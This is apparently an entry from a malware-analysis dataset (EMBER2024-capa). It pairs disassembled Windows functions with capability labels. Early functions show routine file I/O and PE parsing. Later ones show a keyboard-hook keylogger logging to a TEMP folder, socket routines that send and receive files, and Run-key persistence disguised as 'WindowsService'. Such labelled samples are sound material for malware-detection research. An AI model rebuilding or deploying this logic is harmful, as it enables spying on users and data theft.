joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14010d280
Capabilities:
Move file

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rsi, rdx
mov edi, r8d
mov rcx, rbx
call fcn.1400db0d0
mov rbx, rax
mov rcx, rsi
call fcn.1400db0d0
mov rsi, rax
mov r8d, 2
mov ecx, 3
test dil, dil
cmovne r8d, ecx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp fcn.14010d1b0

Function at 0x14010d2d0
Capabilities:
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xor eax, eax
mov qword [rbp - 0x48], rax
mov rbx, rdx
mov esi, r8d
mov rdi, r9
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.1400eb7c0
mov rcx, qword [rbp - 0x48]
mov r14, qword [rcx + 8]
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, r14
mov qword [rbp - 0x54], rcx
mov rdx, rbx
mov qword [rbp - 0x5c], rdx
mov r8d, esi
mov dword [rbp - 0x4c], r8d
mov r9, rdi
mov qword [rbp - 0x64], r9
lea rcx, [rbp - 0x90]
call fcn.1400046e0
mov rcx, qword [rbp - 0x54]
mov rdx, qword [rbp - 0x5c]
mov r8d, dword [rbp - 0x4c]
mov r9, qword [rbp - 0x64]
call sub.KERNEL32.dll_ReadFile
mov ebx, eax
lea rcx, [rbp - 0x90]
call fcn.140004730
call sub.KERNEL32.dll_GetLastError
mov esi, eax
cmp byte [rbp - 0x40], 0
je 0x14010d38d
mov rcx, qword [rbp - 0x48]
cmp byte [rcx], cl
xor edx, edx
call fcn.1400eb800
call fcn.1400025ae
mov dword [rax + 0xa0], esi
mov eax, ebx
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x14010d3f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x50], xmm4
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rdx
mov edi, r8d
mov rbx, r9
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.1400eb7c0
nop
mov qword [rbp - 0x50], rbx
mov rcx, qword [rbp - 0x48]
mov r14, qword [rcx + 8]
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, r14
mov qword [rbp - 0x5c], rcx
mov rdx, rsi
mov qword [rbp - 0x64], rdx
mov r8d, edi
mov dword [rbp - 0x54], r8d
mov r9, rbx
mov qword [rbp - 0x6c], r9
lea rcx, [rbp - 0x98]
call fcn.1400046e0
mov rcx, qword [rbp - 0x5c]
mov rdx, qword [rbp - 0x64]
mov r8d, dword [rbp - 0x54]
mov r9, qword [rbp - 0x6c]
call sub.KERNEL32.dll_ReadFile
mov ebx, eax
lea rcx, [rbp - 0x98]
call fcn.140004730
call sub.KERNEL32.dll_GetLastError
mov esi, eax
xor ecx, ecx
mov qword [rbp - 0x50], rcx
cmp byte [rbp - 0x40], 0
je 0x14010d4bf
mov rcx, qword [rbp - 0x48]
cmp byte [rcx], cl
xor edx, edx
call fcn.1400eb800
call fcn.1400025ae
mov dword [rax + 0xa0], esi
mov eax, ebx
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x14010de10
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov rbx, rcx
mov rsi, rdx
mov edi, r8d
mov qword [rbp - 0x40], r9
mov r14, r9
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov qword [rbp - 0x4c], rcx
mov rdx, rsi
mov qword [rbp - 0x54], rdx
mov r8d, edi
mov dword [rbp - 0x44], r8d
mov r9, r14
mov qword [rbp - 0x5c], r9
lea rcx, [rbp - 0x88]
call fcn.1400046e0
mov rcx, qword [rbp - 0x4c]
mov rdx, qword [rbp - 0x54]
mov r8d, dword [rbp - 0x44]
mov r9, qword [rbp - 0x5c]
call sub.KERNEL32.dll_WriteFile
mov ebx, eax
lea rcx, [rbp - 0x88]
call fcn.140004730
call sub.KERNEL32.dll_GetLastError
mov esi, eax
xor eax, eax
mov qword [rbp - 0x40], rax
call fcn.1400025ae
mov dword [rax + 0xa0], esi
mov eax, ebx
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140143cb0
Capabilities:
Parse pe header

Disassembly:
push rsi
push rbx
sub rsp, 0x68
xor eax, eax
mov qword [rsp + 0x28], rax
xorps xmm4, xmm4
movaps xmmword [rsp + 0x30], xmm4
movaps xmmword [rsp + 0x40], xmm4
movaps xmmword [rsp + 0x50], xmm4
mov qword [rsp + 0x60], rax
mov rbx, rcx
mov rsi, rdx
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
mov rax, qword [rcx]
call qword [rax + 0x50]
add rax, 2
cmp rax, qword [rbx + 0x10]
ja 0x140143e81
mov rcx, qword [rbx]
cmp byte [rcx], cl
lea rdx, [rsp + 0x58]
mov r8d, 2
call fcn.1400d68e0
mov rcx, qword [rsp + 0x58]
cmp dword [rsp + 0x60], 2
jl 0x140143e87
movzx ecx, word [rcx]
cmp ecx, 0x5a4d
je 0x140143e73
test ecx, ecx
jne 0x140143d78
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
mov rax, qword [rcx]
call qword [rax + 0x50]
add rax, 2
cmp rax, qword [rbx + 0x10]
ja 0x140143e81
mov rcx, qword [rbx]
cmp byte [rcx], cl
lea rdx, [rsp + 0x48]
mov r8d, 2
call fcn.1400d68e0
mov rcx, qword [rsp + 0x48]
cmp dword [rsp + 0x50], 2
jl 0x140143e87
cmp word [rcx], 0xffff
je 0x140143eb8
mov byte [rsi], 1
mov rcx, qword [rbx + 8]
cmp rcx, qword [rbx + 0x10]
ja 0x140143e7b
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
xor edx, edx
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x78]
cmp byte [rsi], 0
jne 0x140143e6c
mov rcx, qword [rbx + 8]
add rcx, 0x3c
cmp rcx, qword [rbx + 0x10]
ja 0x140143e7b
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
mov edx, 0x3c
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x78]
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
mov rax, qword [rcx]
call qword [rax + 0x50]
add rax, 4
cmp rax, qword [rbx + 0x10]
ja 0x140143e81
mov rcx, qword [rbx]
cmp byte [rcx], cl
lea rdx, [rsp + 0x38]
mov r8d, 4
call fcn.1400d68e0
mov rcx, qword [rsp + 0x38]
cmp dword [rsp + 0x40], 4
jl 0x140143e87
mov edx, dword [rcx]
mov ecx, edx
add rcx, qword [rbx + 8]
cmp rcx, qword [rbx + 0x10]
ja 0x140143e7b
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
movsxd rdx, edx
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x78]
mov rcx, qword [rbx]
mov rcx, qword [rcx + 8]
mov rax, qword [rcx]
call qword [rax + 0x50]
add rax, 4
cmp rax, qword [rbx + 0x10]
ja 0x140143e81
mov rcx, qword [rbx]
cmp byte [rcx], cl
lea rdx, [rsp + 0x28]
mov r8d, 4
call fcn.1400d68e0
mov rcx, qword [rsp + 0x28]
cmp dword [rsp + 0x30], 4
jl 0x140143e87
cmp dword [rcx], 0x4550
jne 0x140143e92
add rsp, 0x68
pop rbx
pop rsi
ret
mov byte [rsi], 0
jmp 0x140143d9b
call fcn.140141a30
int3
call fcn.140141a00
int3
mov ecx, 0x28
call fcn.1400a82f0
int3
lea rcx, [0x14034bf40]
call fcn.140004250
mov rbx, rax
mov rcx, rbx
lea rdx, [0x14030ab90]
call fcn.140098a70
mov rcx, rbx
call fcn.140004840
lea rcx, [0x14034bf40]
call fcn.140004250
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140320cc8]
call fcn.140098a70
mov rcx, rbx
call fcn.140004840
int3
Function at 0x1401df2f0
Capabilities:
Get system information on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x90]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x48], rcx
lea rcx, [rbp - 0x70]
call fcn.1400046e0
mov rcx, qword [rbp - 0x48]
call sub.KERNEL32.dll_GetSystemInfo
lea rcx, [rbp - 0x70]
call fcn.140004730
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1402d3180
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x38
cmp r8d, 8
jge 0x1402d321d
xor eax, eax
cmp r8d, 4
jl 0x1402d31d1
add r8d, 0xfffffffc
movsx r10, word [rcx + rax*2]
movsx r9, dx
cmp r10d, r9d
je 0x1402d3218
nop dword [rax]
movsx r10, word [rcx + rax*2 + 2]
cmp r10d, r9d
je 0x1402d3211
movsx r10, word [rcx + rax*2 + 4]
cmp r10d, r9d
je 0x1402d3209
movsx r10, word [rcx + rax*2 + 6]
cmp r10d, r9d
je 0x1402d3201
add rax, 4
test r8d, r8d
jle 0x1402d33fa
movsx r9, dx
nop
dec r8d
movsx rdx, word [rcx + rax*2]
cmp edx, r9d
je 0x1402d3218
inc rax
test r8d, r8d
jg 0x1402d31e0
jmp 0x1402d33fa
add eax, 3
jmp 0x1402d33f5
add eax, 2
jmp 0x1402d33f5
inc eax
jmp 0x1402d33f5
jmp 0x1402d33f5
movsx r9, dx
movd xmm0, r9d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov rax, rcx
lea edx, [r8 - 8]
movsxd rdx, edx
add rdx, rdx
lea r10, [rax + rdx]
movups xmm1, xmmword [rax]
pcmpeqw xmm1, xmm0
movaps xmmword [rsp + 0x20], xmm1
xorps xmm2, xmm2
pcmpeqw xmm1, xmm2
pmovmskb r9d, xmm1
cmp r9d, 0xffff
jne 0x1402d3336
add rax, 0x10
cmp rax, r10
jbe 0x1402d3240
mov eax, r8d
test al, 7
je 0x1402d33fa
movups xmm1, xmmword [r10]
pcmpeqw xmm0, xmm1
movaps xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
pcmpeqw xmm0, xmm1
pmovmskb ecx, xmm0
cmp ecx, 0xffff
je 0x1402d33fa
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or ecx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, ecx
mov ecx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, ecx
mov ecx, r8d
shl ecx, 4
or eax, ecx
jne 0x1402d33ec
mov ecx, 0x20
jmp 0x1402d33ef
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx edx, word [rsp + 0x18]
shr edx, 0xf
movzx r8d, word [rsp + 0x1a]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x1c]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x1e]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
jne 0x1402d33dd
mov r8d, 0x20
jmp 0x1402d33e1
bsf r8d, edx
sub rax, rcx
shr rax, 1
add eax, r8d
jmp 0x1402d33f5
bsf ecx, eax
shr rdx, 1
lea eax, [rdx + rcx]
add rsp, 0x38
ret
mov eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x1402dbf80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x48
movaps xmmword [rsp + 0x30], xmm6
cmp r9d, 8
jge 0x1402dbfd1
movzx r10d, dx
sub r8d, r10d
movzx eax, r8w
xor edx, edx
test r9d, r9d
jle 0x1402dc1fb
movsxd r8, edx
movzx r8d, word [rcx + r8*2]
sub r8d, r10d
movzx r8d, r8w
cmp r8d, eax
jle 0x1402dbfc5
inc edx
cmp edx, r9d
jl 0x1402dbfa5
jmp 0x1402dc1fb
mov eax, edx
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
movzx r10d, dx
movd xmm0, r10d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov eax, r8d
sub eax, r10d
movzx eax, ax
movd xmm1, eax
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
mov rax, rcx
add r9d, 0xfffffff8
mov edx, r9d
add rdx, rdx
lea r8, [rax + rdx]
movups xmm2, xmmword [case.0x1402c8ea5.101]
movaps xmm3, xmm1
psubw xmm3, xmm2
movups xmm4, xmmword [rax]
psubw xmm4, xmm0
movaps xmm5, xmm4
psubw xmm5, xmm2
movaps xmm6, xmm3
pcmpgtw xmm6, xmm5
pcmpeqw xmm4, xmm1
por xmm4, xmm6
movaps xmmword [rsp + 0x20], xmm4
xorps xmm5, xmm5
pcmpeqw xmm4, xmm5
pmovmskb r10d, xmm4
cmp r10d, 0xffff
jne 0x1402dc13b
add rax, 0x10
cmp rax, r8
jb 0x1402dc018
movups xmm4, xmmword [r8]
psubw xmm4, xmm0
movaps xmm0, xmm4
psubw xmm0, xmm2
pcmpgtw xmm3, xmm0
pcmpeqw xmm1, xmm4
por xmm1, xmm3
movaps xmmword [rsp + 0x20], xmm1
xorps xmm0, xmm0
pcmpeqw xmm0, xmm1
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x1402dc1fb
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or ecx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, ecx
mov ecx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, ecx
mov ecx, r8d
shl ecx, 4
or eax, ecx
bsf ecx, eax
mov r8d, 0x20
test eax, eax
cmove ecx, r8d
mov eax, ecx
shr rdx, 1
add eax, edx
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx edx, word [rsp + 0x18]
shr edx, 0xf
movzx r8d, word [rsp + 0x1a]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x1c]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x1e]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
bsf r8d, edx
mov r10d, 0x20
test edx, edx
cmove r8d, r10d
sub rax, rcx
shr rax, 1
add eax, r8d
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
mov eax, 0xffffffff
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x10b9896
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp], 0xfffffffffb25059b
call fcn.010b7c05
pop rdx
mov word [rdx], cs
movabs dword [0x837a6b82fb428bd2], eax
invalid
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400088e0]
mov rcx, qword [0x140008850]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x1400088f0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x140008900]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x1400088d0]
mov dword [0x14000b00c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400089b0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140008990]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140008830]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400014f9
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x10], 0
js 0x140001591
mov eax, dword [0x14000b050]
test eax, eax
je 0x140001591
mov rax, qword [0x14000b048]
test rax, rax
je 0x140001591
mov rax, qword [rbp + 0x20]
mov qword [rbp - 8], rax
cmp qword [rbp + 0x18], 0x100
jne 0x140001591
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov eax, dword [rax + 4]
shl eax, 0x10
mov ecx, eax
lea rax, [rbp - 0x30]
mov r8d, 0x20
mov rdx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyNameTextA]
call rax
mov rax, qword [0x14000b048]
lea rdx, [rbp - 0x30]
mov r8, rdx
lea rdx, str.__s_
mov rcx, rax
call sym.fprintf
mov rax, qword [0x14000b048]
mov rcx, rax
call sym.fflush
mov rax, qword [0x14000b040]
mov r8, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov edx, dword [rbp + 0x10]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x50
pop rbp
ret

Function at 0x1400015bb
Capabilities:
Create directory
Create thread
Log keystrokes via application hook
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000b050]
test eax, eax
jne 0x14000167c
lea rax, str.TEMP
mov rcx, rax
call sym.getenv
mov r8, rax
lea rax, str._skeylog
mov rdx, rax
lea rax, [0x14000b060]
mov rcx, rax
call sym.sprintf
lea rax, [0x14000b060]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__mkdir]
call rax
mov dword [0x14000b050], 1
mov r9d, 0
mov r8d, 0
lea rax, [sym.KeyboardProc]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [0x14000b040], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.KeyloggerThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [0x14000b058], rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001a96
Capabilities:
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x2070
call fcn.1400031b0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2000], rcx
mov qword [rbp + 0x2008], rdx
mov rax, qword [rbp + 0x2008]
lea rdx, [0x140008028]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1fe0], rax
cmp qword [rbp + 0x1fe0], 0
jne 0x140001b3e
movabs rax, 0x46203a524f525245
movabs rdx, 0x20746f6e20656c69
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x646e756f662074
mov qword [rbp - 0x52], rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x2000]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140001c95
mov rax, qword [rbp + 0x1fe0]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x1fe0]
mov rcx, rax
call sym.ftell
mov dword [rbp + 0x1fd0], eax
mov rax, qword [rbp + 0x1fe0]
mov rcx, rax
call sym.rewind
lea rdx, [rbp + 0x1fd0]
mov rax, qword [rbp + 0x2000]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rdx, [rbp + 0x1fc6]
mov rax, qword [rbp + 0x2000]
mov r9d, 0
mov r8d, 0xa
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1fec], 0
jmp 0x140001c4f
mov rax, qword [rbp + 0x1fd8]
mov ecx, eax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x2000]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x1fd4], eax
cmp dword [rbp + 0x1fd4], 0
jns 0x140001c1d
lea rax, str.Error_sending_file_n
mov rcx, rax
call sym.printf
jmp 0x140001c85
mov eax, dword [rbp + 0x1fd4]
add dword [rbp + 0x1fec], eax
lea rdx, [rbp + 0x1fc6]
mov rax, qword [rbp + 0x2000]
mov r9d, 0
mov r8d, 0xa
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov rdx, qword [rbp + 0x1fe0]
lea rax, [rbp - 0x40]
mov r9, rdx
mov r8d, 0x2000
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp + 0x1fd8], rax
cmp qword [rbp + 0x1fd8], 0
jne 0x140001bd4
mov rax, qword [rbp + 0x1fe0]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x2070
pop rbp
ret
Function at 0x140001c9e
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push rbp
mov eax, 0x2050
call fcn.1400031b0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1fe0], rcx
mov qword [rbp + 0x1fe8], rdx
mov rax, qword [rbp + 0x1fe8]
lea rdx, [0x14000803f]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1fc0], rax
cmp qword [rbp + 0x1fc0], 0
je 0x140001e45
lea rdx, [rbp + 0x1fac]
mov rax, qword [rbp + 0x1fe0]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov rax, qword [rbp + 0x1fe0]
mov r9d, 0
mov r8d, 2
lea rdx, [0x140008042]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x1fac]
mov dword [rbp + 0x1fcc], eax
mov dword [rbp + 0x1fc8], 0
jmp 0x140001e24
mov eax, dword [rbp + 0x1fcc]
mov edx, 0x2000
cmp eax, edx
cmovg eax, edx
cdqe
mov qword [rbp + 0x1fb8], rax
mov rax, qword [rbp + 0x1fb8]
mov ecx, eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1fe0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x1fb0], rax
cmp qword [rbp + 0x1fb0], 0
je 0x140001e33
mov rcx, qword [rbp + 0x1fc0]
mov rdx, qword [rbp + 0x1fb0]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov eax, dword [rbp + 0x1fcc]
mov rdx, qword [rbp + 0x1fb0]
sub eax, edx
mov dword [rbp + 0x1fcc], eax
mov rax, qword [rbp + 0x1fb0]
mov edx, eax
mov eax, dword [rbp + 0x1fc8]
add eax, edx
mov dword [rbp + 0x1fc8], eax
mov rax, qword [rbp + 0x1fe0]
mov r9d, 0
mov r8d, 2
lea rdx, [0x140008042]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp dword [rbp + 0x1fcc], 0
jg 0x140001d54
jmp 0x140001e34
nop
mov rax, qword [rbp + 0x1fc0]
mov rcx, rax
call sym.fclose
jmp 0x140001e46
nop
add rsp, 0x2050
pop rbp
ret

Function at 0x140001e4f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0xcc], eax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x140001f05
mov eax, dword [rbp + 0xcc]
lea edx, [rax + 1]
mov rax, qword [rbp + 0xc0]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.WindowsService
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x150
pop rbp
ret